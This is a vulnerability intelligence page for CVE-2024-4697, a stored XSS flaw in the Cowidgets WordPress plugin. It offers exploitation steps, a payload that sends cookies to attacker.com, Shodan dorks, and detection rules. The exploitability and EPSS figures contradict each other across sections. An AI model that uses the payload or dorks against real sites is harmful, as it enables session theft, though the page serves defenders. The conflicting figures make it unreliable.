☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4697

CVE-2024-4697 Cross-Site Scripting in Cowidgets
📅 PUBLISHED: 2024-06-04 05:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4697 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cowidgets – Elementor Addons WordPress plugin, affecting all versions up to and including 1.1.2. The flaw resides in the heading_tag parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, data theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: Required (victim must visit injected page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the potential for stored XSS in a widely used plugin warrants attention.

Deep Dive & Mechanics

The vulnerability exists in the Cowidgets plugin's handling of the heading_tag parameter within Elementor widgets. The plugin fails to properly sanitize user input and escape output when rendering HTML tags. An attacker with contributor-level access can craft a malicious heading_tag value containing JavaScript payloads, such as <script>alert('XSS')</script>. When the widget is saved and rendered on a page, the payload executes in the context of any visitor's browser.

The root cause is the lack of esc_html() or wp_kses() filtering on the heading_tag parameter before it is echoed into the HTML. This allows arbitrary HTML and script injection.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.1.2):

// In widget render function
$heading_tag = $settings['heading_tag'];
echo '<' . $heading_tag . ' class="cowidgets-heading">' . $content . '</' . $heading_tag . '>';

Patched Code (hypothetical fix):

// In widget render function
$allowed_tags = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span'];
$heading_tag = in_array($settings['heading_tag'], $allowed_tags) ? $settings['heading_tag'] : 'h2';
echo '<' . esc_attr($heading_tag) . ' class="cowidgets-heading">' . esc_html($content) . '</' . esc_attr($heading_tag) . '>';

The fix restricts heading_tag to a whitelist of safe HTML tags and applies esc_attr() for output escaping.

Exploitation & Lab Setup

Red Team

  1. Prerequisites: WordPress installation with Cowidgets plugin <= 1.1.2, contributor-level account.
  2. Steps:
    • Log in as contributor.
    • Create or edit a page using Elementor.
    • Add a Cowidgets widget (e.g., heading widget).
    • In the widget settings, set heading_tag to: <script>alert(document.cookie)</script>.
    • Save and publish the page.
    • When any user visits the page, the script executes.
  3. Payload Example:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    

Blue Team

  1. Detection: Monitor for unusual heading_tag values in Elementor page data. Look for non-standard HTML tags or script elements.
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block requests containing <script> in heading_tag parameters.
  3. Hunting: Search database for posts/pages where heading_tag contains < or > characters.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/cowidgets/ (version 1.1.2 or earlier)
  • Database: wp_postmeta entries with meta_key containing heading_tag and meta_value containing <script> or onerror= etc.
  • Network: Outbound connections to attacker-controlled domains from WordPress admin or frontend.
  • Logs: HTTP requests with heading_tag parameter containing HTML/JavaScript.

Detection Engineering

YARA Rule

rule cowidgets_stored_xss {
    meta:
        description = "Detects stored XSS payloads in Cowidgets heading_tag parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4697"
    strings:
        $payload1 = /heading_tag[^>]*<script/i
        $payload2 = /heading_tag[^>]*onerror=/i
        $payload3 = /heading_tag[^>]*onload=/i
    condition:
        any of them
}

Sigma Rule

title: Cowidgets Stored XSS via heading_tag
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Cowidgets plugin heading_tag parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "wp-admin/admin-ajax.php"
        cs-method: "POST"
        cs-uri-query|contains: "heading_tag"
        cs-uri-query|re: "(<script|onerror=|onload=)"
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in heading_tag (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4697 Cowidgets Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"heading_tag"; http_client_body; pcre:"/(<script|onerror=|onload=)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Cowidgets plugin until a patch is released.
  2. Short-term: Restrict contributor-level access to trusted users only. Implement a WAF rule to block malicious heading_tag values.
  3. Long-term: Apply the vendor patch when available. Alternatively, manually patch the plugin by adding input validation and output escaping as shown in the patched code example.
  4. Monitoring: Continuously monitor for unusual activity in WordPress admin and frontend.

Report generated by Valters IT DevSecOps AI. Stay secure.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/cowidgets"
http.html:"cowidgets" "elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4697/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.